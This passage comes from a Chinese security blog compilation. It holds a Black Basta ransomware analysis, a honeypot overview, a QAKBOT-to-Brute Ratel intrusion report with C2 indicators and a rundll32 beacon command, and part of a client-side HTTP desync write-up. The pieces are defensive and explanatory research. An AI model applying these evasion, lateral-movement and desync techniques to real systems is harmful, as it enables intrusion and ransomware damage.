NlsData0000.dll；

不能加載的庫NetProjW.dll；

Ghofr.dll；

fg122.dll；

Windows API檢查下面的一組技術使用Windows API函數來檢測進程是否正在調試。

VirtualAlloc與GetWriteWatch結合使用；

具有錯誤介紹符的CloseHandle；

OutputDebugString檢查最後的系統錯誤；

被污染的日誌這種技術並不是真正的反調試器，但會使日誌分析更加困難。重點是隨機調用kernel32.beep函數。你可以在這個沙盒分析中看到更多內容。

由於編碼錯誤導致檢查失敗

這些檢查應該使用仿真環境或已調試進程的細節，但由於編碼錯誤而無法正常工作。

FindWindow（類名：▬unAwtFrame）——名稱中的第一個符號是錯誤的，應該是SunAwtFrame；

NtQueryInformationProcess, check DebugPort——由於dll名稱錯誤而無法工作；

模糊轉儲成功躲避檢測後，Black Basta滴管又進行了模糊轉儲。 Black Basta有效載荷不是簡單地解壓縮並在內存中執行的，存在位於勒索軟件的PE標頭之前的數據是為了防止自動掃描器容易識別惡意有效載荷。

6.png

位於PE標頭之前的數據，以防止自動內存分析

正如預期的那樣，WinDbg中的imgscan命令無法顯示dropper進程內存中的Black Basta PE模塊。

7.png

WinDbg內存掃描中缺少Black Basta模塊

在完成所有這些步驟之後，實際的Black Basta有效載荷被執行。

Black Basta有效載荷在勒索軟件開始執行時創建互斥鎖，以確保只有一個惡意軟件副本處於活動狀態：

8.png

在Black Basta中創建互斥鎖

在我們介紹的示例中，互斥鎖的名稱是“dsajdhas.0”。

然後，惡意軟件設置壁紙，並為擴展名為“.basta”的文件指定一個自定義圖標。

9.png

Black Basta釋放的圖像

這些圖像來自Black Basta解壓縮它們的TEMP目錄。

該勒索軟件還試圖刪除任何卷影副本，如下圖所示：

10.webp.jpg

刪除卷影副本所執行的命令

加密創建多個線程來進行多線程加密過程：

11.webp.jpg

創建用於執行加密的線程

惡意軟件會加密驅動器上找到的所有文件，路徑中包含以下字符串的文件除外：

$Recycle.Bin

Windows

DocumentsandSettings

LocalSettings

ApplicationData

txt

Boot

txt

jpg

DAT

ico

ChaCha20流密碼（其比AES更快）用於加密，每個加密文件隨機生成密鑰。然後將該密鑰傳遞給帶有硬編碼公鑰的RSA加密，以檢索512字節的加密ChaCha20密鑰。此密鑰附加到加密文件的末尾：

12.webp.jpg

文件末尾的加密密鑰開始（左側）；原始文件（右側）

在塊的末尾，還有加密密鑰的長度（0x200）：

13.png

加密文件末尾的密鑰長度

請注意，並不是整個文件都被加密。惡意軟件針對每個64字節的第三個塊：

14.png

由Black Basta加密的塊（左側）；原始文件（右側）

要處理文件，通常使用kernel32函數CreateFile；

ReadFile；

WriteFile；

MoveFile (重命名加密文件)；

作為附帶說明，我們需要提到使用了RSA的mini GMP實現。

加密完成後，勒索軟件會在桌面上的“readme.txt”文件中釋放一條勒索說明。公司ID被硬編碼在勒索信中，這是有針對性和有準備的攻擊的標誌：

15.png

在示例中硬編碼的公司ID

在不知道RSA私鑰的情況下，沒有明顯的方法來解密文件。

自動分配Black Basta具有內置的網絡自動傳播功能，這是為了預防滴管的功能不足以完成任務。勒索軟件嘗試在LDAP API的幫助下連接到AD，並使用過濾器字符串（samAccountType=805306369）遍歷連接的工作站：

16.png

通過連接的工作站啟動搜索的函數

獲得工作站列表後，勒索軟件嘗試通過路徑\\c$\\Windows\\tmp.exe將自己複製到遠程計算機。然後，在COM對象objectIWbemClassObject (CLSID: 4590f812 - 1d3b - 11d0 - 891f - 00aa004b2e24)和IWbemServices-Win32_Process的幫助下，通過Create方法啟動前一階段複製的可執行文件。

總結勒索軟件攻擊是受害者可能面臨的最嚴重威脅之一。當代勒索軟件攻擊有大量成功勒索的記錄，並且可以在網絡內橫向移動，因此在使用雙重勒索方案時，可以獲得越來越多有保證的回報。

新出現的Black Basta就是一個非常成功的勒索軟件組織，它採取了各種預防措施，並執行了實際的數據加密，例如應用的反調試和逃避技術。

如上所述，勒索軟件本身的設計不僅能夠在最短的時間內造成最大的傷害，而且傳播階段也非常隱蔽、複雜和有效。 Black Basta會確保在安全的環境中運行，並且有機會執行加密。

為了降低遭受類似攻擊的可能性，組織應採取以下做法：

1.教育員工如何在網絡安全領域保持安全；

2.不要打開來自陌生髮件人的件；

3.更新並提高網絡基礎設施的安全性。

4.定期備份敏感數據並將其存儲在其他外部驅動器上。

5.保持系統保更新到最新版本。

HireHackking

虛擬蜜罐是由一台計算機模擬的系統，但是可以響應發送給虛擬蜜罐的網絡流量，今天我們來淺析一下虛擬蜜罐。

蜜罐可以運行任何操作系統和任意數量的服務。蜜罐根據交互程度（Level ofInvolvement）的不同可以分為高交互蜜罐和低交互蜜罐。蜜罐的交互程度是指攻擊者與蜜罐相互作用的程度，高交互蜜罐提供給入侵者一個真實的可進行交互的系統，相反，低交互蜜罐只可以模擬部分系統的功能。高交互蜜罐和真實係統一樣可以被完全攻陷，允許入侵者獲得系統完全的訪問權限，並可以以此為跳板實施進一步的網絡攻擊。相反的，低交互蜜罐只能模擬部分服務、端口、響應，入侵者不能通過攻擊這些服務獲得完全的訪問權限。

蜜罐分為高交互蜜罐、低交互蜜罐、物理蜜罐、虛擬蜜罐。從實現方法上來分，蜜罐可分為物理蜜罐和虛擬蜜罐。物理蜜罐是網絡上一台真實的完整計算機，虛擬蜜罐是由一台計算機模擬的系統，但是可以響應發送給虛擬蜜罐的網絡流量。今天我們來淺析一下虛擬蜜罐。

1.png

對比物理蜜罐而言，虛擬蜜罐要容易得多。可以在一台計算機上部署數千個蜜罐，代價低廉，幾乎所有人都可以很容易地使用它們，並且使得其更加容易維護以及較低的物理需求。很多時候我們會使用VMware或者用戶模式的Linux (UML）等來建立虛擬蜜罐，這些虛擬系統工具可以在一台物理計算機上運行多個蜜罐系統及應用程序來收集數據。

虛擬蜜罐通常會模擬出真實的操作系統，並將其部屬在一台宿主主機上。在虛擬系統中虛擬出漏洞，產生虛假的流量，偽裝不存在的文件地址，存儲真實但無意義的文件，對網絡中的各種信息進行模擬等，來更好的吸引入侵者的攻擊虛擬蜜罐。

一是IP地址的空間欺騙。用一台主機就可以完成，利用在一個網卡來分配複數個IP地址，並對每一個IP地址配置單獨的MAC地址，可以完成多個主機的虛擬。

第二個是仿真網絡流量。因為虛擬蜜罐在一般情況下不會與其他主機主動進行交互，也就沒有任何的網絡流量，容易被入侵者根據這一點識破虛擬蜜罐。所以產生方針流量以後，可以欺騙入侵者，使入侵者無法通過對流量的觀察來判斷虛擬蜜罐的存在。

第三個是系統的動態配置。在正常狀態下，一個虛擬蜜罐的狀態是靜態的，沒有交互和網絡流量，一些有經驗的入侵者可以通過觀察系統的狀態來判斷是否是虛擬蜜罐。而係統的動態配置正是針對這一點，虛擬蜜罐的系統狀態會不斷的發生變化，會盡可能的模擬一個真實係統的行為，防止入侵者輕易的就發現虛擬蜜罐，導致其失去作用。

第四個是組織信息欺騙。可以在虛擬蜜罐裡設置一些個人信息，或者存儲一些沒有意義的虛假信息、文件等，可以讓虛擬蜜罐看起來更像是一個有人使用的真實係統，增加對入侵者的迷惑性。

第五個是端口重定向技術。這種技術可以對地址進行數次轉換，區別真實和虛擬網絡，也可以對常用端口進行重定向，達到隱藏這些端口的目的。

當多個蜜罐組成網絡時稱為密網，而一個密網的核心是蜜牆，也就是密網網關。蜜牆主要功能：

數據捕捉：可以在不被入侵者察覺的情況下，對密網內所有的活動和網絡數據信息進行捕捉。

數據控制：對進出密網的數據進行流量控制。這樣可以在內部蜜罐被攻破以後，確保其所有的活動依然被限制在蜜網之內。

數據分析：幫助密網管理者簡化捕捉數據分析，並可以幫助計算機和網絡取證。

常用的實現虛擬蜜罐的技術主要有VMware、用戶模式Linux、Argos、LaBrea、Honeyd等。

（1）VMware技術VMware公司是老牌的虛擬化軟件公司之一，其提供了多種虛擬化軟件應對不同的狀況。虛擬化軟件表示軟件可以模擬一個完整的計算機系統，並且可以在同一個虛擬機上可能運行多個不同的操作系統。下面介紹VMware公司的一些產品，這些VMware產品相互之間的不同點。

實際安裝VMware 的物理機器，執行VMware進程的計算機和操作系統實例稱為主機（或宿主主機）。運行在虛擬機內部的操作系統被稱為客戶系統或客戶虛擬機。兩種系統之間的交互是完全透明的，例如在主機和客戶系統之間，使用VMware可以共享文件夾、複製粘貼各種文件。

虛擬系統起到一個類似於模擬器的作用，主機的物理CPU和內存資源可以被主機與客戶虛擬機共享，但同時客戶操作系統也可以從VMware中分配到一套完整的虛擬硬件資源。例如，在多個客戶系統中，一套相同的虛擬硬件資源可以被所有的客戶系統所使用，就像同一配置的多台計算機安裝不同的操作系統，而且這些虛擬硬件可以在不超過客戶虛擬機配置的情況下任意的進行設置，不需要考慮真實物理硬件資源，這些硬件資源都可以連至主機系統。

2.png

（2）用戶模式Linux用戶模式Linux 是另一種可以用來創建虛擬蜜罐的系統，用法十分簡單，但是與VMware相比，主要缺點就是它只能模擬Linux系統。

UML是一個Linux內核的體系結構端口，系統內稱為接口。 Linux內核本身可以作為一個用戶進程來運行，實際的Linux內核（主機系統〉執行另外一個Linux（客戶系統）實例，把它作為一個進程。這個過程與VMware 中的虛擬機類似，每一個UML實例都是一個完整的虛擬機，與一個真實的計算機幾乎沒什麼區別。於是就有了一個簡單的方法來實現虛擬機，直接使用UML建立一個虛擬蜜罐，獲得一個虛擬系統提供的所有優點。在配置或穩定性上，客戶系統不會影響到主機系統。UML的塊設備，也稱為磁盤，通常是主機文件系統上的文件，不會影響存儲正常數據的本地塊設備。

UML作為一個操作系統只能運行在Linux上，所以如果運行Windows 或其他系統的時候，不能使用這種方式創建蜜罐。看起來只能選擇Linux系統缺點很嚴重，但也並非沒有好處，使用UML可以方便的創建許多不同的運行Linux的蜜罐。由於UML的塊設備是正常的文件，客戶系統使用這一文件（通常稱為根文件系統）作為一個完整的文件系統，可以很容易的把一個UML實例從一台機器上移植到另一台機器上。 UML 的另一個選項實用性也很強，能夠在寫時復制（copy-on-write，COW)模式下使用文件，UML實例在只讀模式下使用跟文件系統,把所有的更改寫入到一個單獨的文件中-COw文件，使得幾個蜜罐可以同時使用一個根文件系統，即可以節省磁盤空間，又可以便於維護管理。

（3）ARGOS荷蘭阿姆斯特丹自由大學的研究人員開發了一種新型的虛擬高交互蜜罐，該工具被稱為Argos，能夠自動檢測零天（zero-day)攻擊，也就是尚無補丁的攻擊。他們使用一種名為動態污點分析的技術來監測蜜罐:第一步，標記所有通過網絡接收到的數據，通過內存追踪這些標記數據，一旦這些標記數據被使用，影響了執行流程，Argos檢測到這些並產生一個攻擊的內存痕跡。相對於其他虛擬蜜罐解決方案，Argos不只是執行客戶虛擬機，同時還密切監測蜜罐，試圖及時發現攻擊者成功攻陷蜜罐的切入點。

動態污點分析是Argos技術的核心，這種技術根本在於觀察，一個攻擊者控制一個給定程序的執行流程，他一定會是使用某種方式影響它，但不論是何種方式，攻擊者都必須向程序發送一個不正常的輸入，這樣的數據必定會影響執行流，例如，跳轉到攻擊者提供的數據。

在這一過程中，動態污點分析發揮作用，一個程序的所有外部輸入都被當作污點被標記。在分析過程中，密切監視和檢查所有污染變量的使用，當一個污染變量通過其他操作得到的結果也被認為受到污染:但如果一個污染變量被賦予一個固定值，則認為該變量不再是受污染變量。這樣就可以跟踪外部輸入的使用，一旦這種污染輸入用於改變執行流，就可以被檢測出來。對Argos 來說，它產生的信息轉儲包含引起正常執行流偏離的相關信息。這個方法對檢測網絡攻擊靈敏度很高，而且我們檢測攻擊無需任何先驗知識。當一個攻擊發生時，我們可以精確地檢測到，通過分析確定導致該事件的原因。

（4）LaBrea由Tom Liston 創作的LaBrea，因引入了一個tarpit概念而聞名。 tarpit是一種服務，作用是通過使TCP連接非常緩慢或完全停止它們的進程，試圖減緩垃圾郵件發送者發送速度甚至是蠕蟲的傳播速度，雖然tarpit並不能減緩更高級的蠕蟲傳播，然而，對於順序操作的簡單蠕蟲tarpit具有良好的作用。

在網絡上運行LaBrea時，它會發現空閒的IP地址，並代替它們應答連接。一旦連接被建立起來，LaBrea會通過在TCP協議中採用技巧而盡可能長時間地黏住發送者，這樣建立的連接會進入到一種不能再取得任何進展的狀態。拖延連接的原因很簡單，垃圾郵件或病毒發送者在服務器上每多維持一個連接，就減少了向真正的主機發送垃圾郵件的可用資源。

為了檢測一個IP地址是否可用，LaBrea利用ARP協議。每當路由器試圖向一個IP地址交付一個數據包時，它首先需要找到相應的MAC地址，如果沒有主機監聽這一IP地址，ARP不會獲得應答。

例如:12:20:40.439476 arp who-has 192.168.1.123 tell 192.168.1.2

由於ARP在整個網絡上進行廣播，LaBrca 監視來自路由器的ARP請求，如果網絡中沒有主機相應IP地址192.168.1.123，LaBrea就會發送自己的應答:

12:20:42.356431 arp reply 192.168.1.123 is-at 00:3c:2f:1e:52:7a

現在路由器收到了一個MAC地址，就會把這個數據包以及後去的數據包發送給LaBrea 主機。但當一個主機重新啟動,它可能會使用一個已經被LaBrea佔用的IP地址，不過重啟的主機會發送一個無需應答的ARP請求，通知網絡上的所有人新的IP地址和MAC的綁定，那麼LaBrea將會放棄該IP地址。 LaBrea接受網絡上所有空閒的IP地址的TCP連接，當它收到一個SYN包，它就會通過完成TCP 三次握於建立一個連接，然後拖延這個連接。 LaBrea支持兩種放慢連接傳輸速度的方法:

窗口調節:LaBrea接受一個新的連接，但會公佈一個非常小的接收窗口。接收窗口指示發送者，每個數據包不能發送大於窗口允許長度的數據。當採用窗口調節時，連接仍然在繼續，但當一個1000字節長度的包被要求以10個字節長度位單位進行傳輸，顯然傳輸時間會變得非常漫長，速率會變的非常緩慢。

持久捕捉:LaBrea 公佈一個TCP接收窗口的大小為0，指示發送者在繼續發送數據前等待。發送者周期地回訪，發送窗口探測數據包，以確定接收窗口是否再次打開，這種狀態可以一直持續下去。

當垃圾郵件發送者試圖通過一個La Brea 蜜罐發送電子郵件時，SMTP事務將不產生或者產生很小的進程，一個啞垃圾郵件發送者將保持該連接，浪費網絡資源。最終，垃圾郵件發送者一旦發現和La Brea會話沒有取得進展，它可能走掉。

當我們使用DHCP用於IP地址動態分配，LaBrea將接管DHCP地址範圍內目前尚未使用的地址。 DHCP服務器在分發一個IP地址前，往往首先ping該地址，但是LaBrea對ping 的響應會干擾DHCP服務器的判斷。隨著時間的推移，用戶歸還了他們租用的IP地址，最後LaBrea將接管整個DHCP地址空間。所以一個用戶需要知道哪些地址是被他的DHCP服務器使用，並在配置文件中排除它們。

3.png

（5）HoneydHoneyd是一種框架，可以把數千個虛擬蜜罐及對應的網絡集成到一起。通常我們使用Honeyd集成現有網絡上所有未分配的IP地址，對每一個IP地址，都可以設置Honeyd模擬不同的計算機行為。

一般的來說，當一個蜜罐只使用一個IP地址時，可能需要相當長的一段時間才可以探測到攻擊，但當你擁有的IP地址多達成百上千時，可以大大加快被攻擊的速度，這就是Honeyd的作用，以一個低交互虛擬蜜罐的框架，在一個網絡或者Internet 上建立數千個虛擬蜜罐，充分的利用未分配的網絡地址，來更多的觀察攻擊行為，或者用來阻止入侵者攻擊真實係統。

Honeyd通過路由器或代理ARP為其虛擬蜜罐接受流量，對於每一個蜜罐，Honeyd可以模擬不同的操作系統的網絡棧行為。

Honeyd的特性Honcyd可以同時模擬數幾千個不同的虛擬主機:入侵者可以通過網絡與每一個單獨的主機進行交互。可以通過配置Honeyd得到每個主機的不同行為。

通過配置文件可以配置任意服務:當入侵者與虛擬主機進行交互時，Honeyd可以提供與對手交互的任意程序，這些程序服務都可以使用配置文件進行配置。無論何時Honeyd收到一個新的網絡連接，都可以及時啟動事先配置好的服務或者程序，回應入侵者。即使不運行相應的程序，Honeyd也可以作為代理將連接轉接到其他主機上，或者採用類似於被動指紋識別的功能，識別遠程主機和負載的隨即採樣。

在TCP/IP協議棧層次模擬操作系統:這一特性允許Honeyd 欺騙Nmap和Xprobe,讓他們相信一個虛擬蜜罐上正運行著各種配置的操作系統。組建自由路由拓撲:路由拓撲可以任意複雜，可以配置延遲、丟包和帶寬等特徵。 Honeyd支持非對稱路由、物理機器集成到一個虛擬拓撲中，以及通過GRE隧道的分佈式操作。

子系統虛擬化:利用子系統，Honeyd可以在一個蜜罐的虛擬空間下執行真正的UNIX應用，如Web服務器、Ftp服務器等等。這一特徵也允許虛擬地址空間內進行動態端口綁定和網絡連接的後台初始化。

4.png

Honeyd的體系結構Honeyd使用一個簡單的體系結構，一個中央包分發器接受所有入侵者的網絡流量，基於實現確定好的配置，對收到的數據流量來創建不同的服務進程處理，為了匹配所配置操作系統的特徵，使用個性引擎所修改發送出去的網絡數據包。

雖然通過對Honeyd 的配置可以控制它的每一個方面，但是三個重要特徵決定了Honeyd的整體行為:

一是入侵者只能從網絡中與Honeyd進行交互，我們的基本假設是入侵者不能走近計算機或者鍵盤進行登錄，因為任何一個Honeyd模擬的蜜罐沒有與之對應的物理計算機，Honeyd不是模擬操作系統的每一個方面，只有模擬其網絡堆棧所以入侵者永遠無法獲得對一個完整系統的訪問，但是可以通過與虛擬機如VMware相結合，減小Honeyd的這一問題。

二是Honeyd 可以在網絡上佈置大量的虛擬蜜罐，即使分配大量的IP地址Honeyd也都能模擬出，可以具有不同的操作系統和服務，也可以模擬任意的網絡拓撲結構，並支持網絡隧道。

三是可以欺騙指紋識別工具，Honeyd可以反轉指紋識別工具的數據庫，找到數據庫中指紋識別的特徵，當一個蜜罐需要發送一個網絡數據包時，可以通過查找數據庫，改變所有的數出數據包內容，使它們與配置的操作系統特徵相匹配。

結語虛擬蜜罐技術具有物理蜜罐技術的諸多特性，並可以在單一的系統中運行成百上千個虛擬蜜罐，還可以添加諸多應用程序，如網絡誘餌、蠕蟲探測、垃圾郵件阻止、網絡模擬等。相對於物理蜜罐複雜的部署、高額的費用、超長的耗時，虛擬蜜罐技術作為蜜罐技術的突破性解決方案讓網絡安全防護成本降低、效率增加，在網絡安全技術方面也同樣有著重要的作用。

HireHackking

趨勢科技的研究人員最近分析了一個與QAKBOT相關的示例，該示例導致了Brute Ratel C4和Cobalt Strike有效負載，這可以歸因於Black Basta 勒索軟件組織。

QAKBOT的惡意軟件在短暫中斷後於2022年9月8日恢復傳播，當時研究人員在這一天發現了幾個傳播機制。觀察到的傳播方法包括SmokeLoader(使用' snow0x '傳播器ID)， Emotet(使用' azd '傳播器ID)，以及使用' BB '和' Obama20x ' ID的惡意垃圾郵件。

最近一個涉及QAKBOT ‘BB’傳播器的示例導致部署了Brute Ratel(被趨勢科技檢測為Backdoor.Win64.BRUTEL)，這是一個類似於Cobalt Strike的框架，作為第二階段有效負載。這是一個值得注意的進展，因為這是我們第一次通過QAKBOT感染觀察到Brute Ratel作為第二階段有效負載。這次攻擊還包括使用Cobalt Strike進行橫向移動。研究人員認為這些活動是Black Basta 勒索軟件組織所為。

攻擊的時間表1.png

Brute Ratel和其他CC框架的興起

與CobaltStrike一樣,BruteRatel是一種攻擊模擬工具，是商業CC框架領域的相對新的工具，它在該領域與更成熟的競爭者如Cobalt Strike競爭。

像Brute Ratel和Cobalt Strike這樣的攻擊模擬框架經常會被滲透測試專業人員使用，用於合法的滲透測試活動，在這些活動中組織尋求提高他們檢測和響應真實網絡攻擊的能力。這些框架用於從遠程位置提供實際的鍵盤訪問，以模擬攻擊者在網絡攻擊中使用的戰術、技術和過程(TTP)。

除了Cobalt Strike的合法使用示例外，它還因非法使用而臭名昭著，在過去幾年裡，它幾乎經常出現在勒索軟件攻擊中。它用作殭屍網絡的常見第二階段有效載荷，例如QAKBOT (TrojanSpy.Win64.QAKBOT)，IcedID (TrojanSpy.Win64.ICEDID)，Emotet (TrojanSpy.Win64.EMOTET) 和Bumblebee(Trojan.Win64.BUMBLELOADER) 等。不幸的是，在過去的幾年中，Cobalt Strike的幾個版本已被洩露，從而加速了攻擊者的惡意使用。

與Brute Ratel相比，由於其受歡迎程度高，其檢測覆蓋率比後者更大。這使得Brute Ratel和其他不太成熟的CC框架對惡意攻擊者來說越來越有吸引力，他們的活動可能在很長一段時間內都不會被發現。

Brute Ratel最近在黑市非常受歡迎，該框架的版本在地下組織中交易非常活躍，並發布了破解版本。 Brute Ratel的開發人員在最近的Twitter帖子中承認了這一漏洞。

2.png

QAKBOT 'BB' 到Brute Ratel

3.png

攻擊活動概況

該活動通過垃圾郵件開始，其中包含發送給潛在受害者的惡意新URL。 URL登錄頁面向收件人顯示ZIP文件的密碼。

4.png

已下載ZIP文件以及文件密碼的通知

繞過沙盒和安全檢測在此階段使用受密碼保護的ZIP文件可能是為了逃避安全解決方案的分析。

繞過安全檢測的標誌ZIP文件包含一個. iso文件。使用ISO文件是為了破壞“Mark of the Web (MOTW)” ，該標記將文件標記為從互聯網下載。它使這些文件受到Windows和終端安全解決方案的其他安全措施的影響。 ISO文件包含一個使用“Explorer”圖標的可見LNK文件和兩個隱藏的子目錄，每個子目錄包含各種文件和目錄。默認情況下，Windows操作系統不向用戶顯示隱藏文件。下圖說明了啟用“顯示隱藏文件”設置時用戶看到的內容。

5.png

啟用“顯示隱藏文件”設置時，用戶看到的添加隱藏子目錄

目錄結構如下：

6.png

目錄結構

命令行界面的執行順序QAKBOT在兩個腳本文件之間使用模糊處理，一個JavaScript (.js)文件和一個批處理腳本(.cmd)文件，很可能是為了隱藏看起來可疑的命令行。

9.png

命令行接口的執行順序

初始QAKBOT CC服務器通信C C基礎設施在地理上分佈在主要位於住宅Internet服務提供商(ISP) 寬帶網絡中的受損主機上。

這些“第1層”CC服務器被QAKBOT運營商認為是一次性的，並且幾乎每次有新的惡意軟件傳播時經常被更換，儘管有些服務器在多個QAKBOT惡意軟件配置中仍然存在。

自動化偵察命令在最初的CC通信之後僅6分鐘，並且QAKBOT惡意軟件現在在註入的進程(wermgr.exe)中運行，通過執行多個內置命令行工具在受感染的環境中執行自動偵察。這些命令行的執行順序如下：

10.png

內置命令行的執行順序

該活動在趨勢科技Vision One™中可見，它可以檢測到這些內置Windows命令的可疑使用。

11.png

顯示與wermgr.exe相關的活動

QAKBOT釋放Brute Ratel自動偵察活動完成五分鐘後，注入QAKBOT的wermgr.exe進程釋放Brute Ratel DLL，並通過帶有“main”導出函數的rundll32.exe子進程調用它。

12.png

Brute Ratel被wermgr.exe通過rundll32.exe進程調用

該後門是一個HTTPS，它在symantecuptimehost[.]com執行擁有Brute Ratel服務器的簽入：

13.png

Brute Ratel簽入

在環境中執行進一步的偵察，以識別特權用戶。首先，使用內置的net.exe和nltest.exe。

14.png

識別特權用戶的偵察過程

其次，SharpHound實用程序通過Brute Ratel在註入的svchost.exe進程中運行，以輸出JSON文件，這些文件被輸入到BloodHound，並被標記為Active Directory組織單元、組策略、域、用戶組、計算機和用戶。然後將這些文件打包到一個ZIP文件中，以便為信息竊取做準備。整個過程都是腳本化的，只需不到兩秒鐘就可以完成。

15.png

通過svchost.exe輸出JSON文件

Brute Ratel釋放Cobalt Strike有趣的是，攻擊者選擇利用Cobalt Strike進行橫向移動。將幾個信標文件中的第一個文件放到運行Brute Ratel C4的受感染終端上，第一個文件為：C:\Users\Public\Name-123456.xls。

使用以下命令在運行Brute Ratel C4的同一主機上執行此信標文件：rundll32 C:\users\public\Name-123456.xls,DllRegisterServer。

接下來，攻擊者釋放其他信標文件，並將這些文件複製到網絡上其他主機上的管理共享，再次使用帶有XLS附件的文件名。

C:\Users\Public\abcabc.xls

C:\Users\Public\abc-1234.xls

C:\Users\Public\Orders_12_34_56.xls

C:\Users\Public\MkDir.xls

用於復製文件的命令如下：

16.png

以下列表是信標C C服務器：

hxxps://fewifasoc[.]com | 45.153.242[.]251

hxxps://hadujaza[.]com | 45.153.241[.]88

hxxps://himiketiv[.]com | 45.153.241[.]64

在採取任何最終行動之前，攻擊者會被從環境中驅逐出去。

到Brute Ratel的QAKBOT ‘Obama’在另一個事件中，趨勢科技發現QAKBOT使用‘Obama’傳播者ID前綴(即“Obama208”)也將Brutel Ratel C4作為第二級有效負載。

在此示例中，惡意軟件以受密碼保護的ZIP文件的形式通過HTML走私傳遞，這允許攻擊者“走私”編碼的惡意腳本到HTML附件或網頁。一旦用戶在瀏覽器中打開HTML頁面，就會解碼腳本並組裝有效負載。

17.png

QAKBOT傳播者使用密碼保護來抵禦網絡和沙箱安全掃描

一旦使用HTML附件中提供的密碼解密了ZIP文件，用戶就會看到一個ISO文件。惡意文件包含在ISO文件中，被用作Web繞過的標記。在內部，ISO文件包含以下目錄結構：

18.png

ISO文件目錄結構

自從QAKBOT回歸以來，研究人員觀察到執行鏈中的多種形式，從腳本語言到文件擴展名，再到導出函數名和序號的使用。對於這種感染，使用的是以下變體：

19.png

感染過程與上述攻擊中描述的TTP(戰術、技術和程序)相同。但是，在C2配置中觀察到一個顯著差異，與更傳統的HTTPS C2通道相比該配置使用HTTPS (DoH) 上的DNS。觀察到的C C服務器使用了帶有let's-Encrypt的HTTPS。

通過使用DoH，攻擊者可以隱藏C2域的DNS查詢。如果沒有使用中間人(MitM) 技術檢查SSL/TLS流量，則對C2服務器的DNS查詢將不會被注意到。

20.png

通過HTTPS (DoH)上的DNS執行C C通信的Brute Ratel進程。在採取任何最終行動之前，攻擊已經得到緩解

與Black Basta的關係21.png

QakBot到Black Basta攻擊中使用的Brute Ratel和Cobalt Strike基礎結構

根據調查，研究人員可以確定QAKBOT-to-Brute Ratel-to-Cobalt Strike攻擊鏈與Black Basta組織有關。這是基於在Black Basta攻擊中觀察到的重疊ttp和基礎設施來判斷的。

總結用戶可以通過以下一些最佳實踐來阻止新的QAKBOT變體和其他通過電子郵件傳播的攻擊：

在下載附件或從電子郵件中選擇嵌入式鏈接之前，請驗證電子郵件發件人和內容；

將指針懸停在嵌入鏈接上方以顯示鏈接的目標；

檢查發件人的身份，不熟悉的電子郵件地址，不匹配的電子郵件和發件人姓名，以及偽造的公司郵件都是危險跡象；

如果電子郵件聲稱來自合法公司，請在採取任何行動之前驗證他們是否確實發送了電子郵件。

HireHackking

60a7-article-browser-powered_desync_attacks_article.jpg

瀏覽器驅動的異步攻擊：HTTP 請求走私（上）

示例探究通過自動檢測CSD 漏洞，我確定了一系列真正的易受攻擊的網站。在這一節中，我將研究其中四個更有趣的方法，並看看這種方法是如何發揮作用的。

Akamai——堆棧化HEAD在第一個案例中，我們將利用一個簡單的漏洞影響許多基於Akamai 構建的網站。作為示例目標，我將使用www.capitalone.ca。

當Akamai 發出重定向時，它會忽略請求的Content-Length 標頭，並將任何消息正文留在TCP/TLS 套接字上。 Capitalone.ca 使用Akamai 將對/assets 的請求重定向到/assets/，因此我們可以通過向該端點發出POST 請求來觸發CSD：

26.png

為了構建一個漏洞利用，我們將使用HEAD 方法將一組HTTP 標頭與text/html 的Content-Type 和一個由反映Location 標頭中的查詢字符串的標頭組成的'body'組合起來：

27.png

如果這是服務器端異步攻擊，我們可以在就此打住。然而，要想成功實現客戶端異步，我們需要解決兩個複雜問題。

第一個問題是初始重定向響應。為了執行注入的JavaScript，我們需要受害者的瀏覽器將響應呈現為HTML，但是301 重定向會被瀏覽器自動跟踪，從而阻止攻擊。一個簡單的解決方案是指定模式：'cors'，它會故意觸發CORS 漏洞。這可以防止瀏覽器跟隨重定向並使我們能夠通過調用catch() 而不是then() 來恢復攻擊序列。在catch block中，我們將使用location='https://www.capitalone.ca/' 觸發瀏覽器導航。我們可能傾向於使用iframe來進行導航，但可以使用跨網站攻擊緩解措施，例如同網站cookie。

第二個複雜的問題是所謂的“堆棧響應問題”。瀏覽器有一種機制，如果接收到的響應數據多於預期，則刪除連接。這極大地影響了對多個響應進行排隊的技術的可靠性，例如我們在這裡使用的HEAD方法。為了解決這個問題，我們需要延遲對HEAD 請求的404 響應。幸運的是，在這個目標上，我們可以很容易地實現這一點，方法是添加一個具有隨機值的參數來充當緩存攻擊器，觸發緩存未命中並產生約500 毫秒的延遲。利用結果如下所示：

28.png

已向Akamai 報告了此漏洞，但我不確定何時修復。

Cisco Web VPN——客戶端緩存攻擊我們的下一個目標是Cisco ASA WebVPN，它可以忽略幾乎所有端點上的Content-Length，因此我們只需向主頁發出POST 請求即可觸發異步。為了利用它，我們將使用Host-header 重定向小工具：

29.png

最簡單的攻擊是使用此重定向感染套接字，將受害者導航到/+CSCOE+/logon.html，並希望瀏覽器嘗試使用感染的套接字導入/+CSCOE+/win.js，然後被重定向，最終從我們的網站導入惡意JS。不幸的是，這是非常不可靠的，因為瀏覽器很可能會使用被感染的套接字進行初始導航。為了避免這個問題，我們將執行客戶端緩存攻擊。

首先，我們使用重定向感染套接字，然後將瀏覽器直接導航到/+CSCOE+/win.js：

30.png

請注意，此頂級導航對於繞過緩存分區至關重要- 嘗試使用fetch() 將攻擊漏洞的緩存。

瀏覽器將使用被感染的套接字，接收惡意重定向，並將其保存在本地緩存中以供https:/redacted/+CSCOE+/win.js 使用。然後，它將遵循重定向並返回我們的網站https://psres.net/+webvpn+/index.html。我們將瀏覽器重定向到登錄頁面https://redacted/+CSCOE+/logon.html，當瀏覽器開始出現登錄頁面時，它會嘗試導入/+CSCOE+/win.js 並發現它已經將其保存在其緩存中。資源加載將遵循緩存的重定向並向https://psres.net/+webvpn+/index.html 發出第二個請求。此時，我們的服務器可以使用一些惡意JavaScript 進行響應，這些JavaScript 將在目標網站的上下文中執行。

為了使這種攻擊起作用，攻擊者的網站需要在同一端點上同時提供重定向和惡意JS。我採取了一種懶惰的方法，並使用JS/HTML 多語言解決了這個問題——Chrome 似乎並不介意不正確的Content-Type：

31.png

我在2021 年11 月10 日向思科報告了這個問題，他們最終在2022 年3 月2 日宣布棄用該產品，他們不會修復它，但仍會為其標記為CVE-2022-20713。

Verisign——碎片化的chunk在尋找不同步矢量時，最好不要超出探測有效端點的範圍，而是鼓勵服務器使用不同尋常的代碼路徑。在嘗試使用像/.%2f 這樣的半格式漏洞的URL 時，我發現我可以通過POST 到/%2f 來觸發verisign.com 上的CSD。

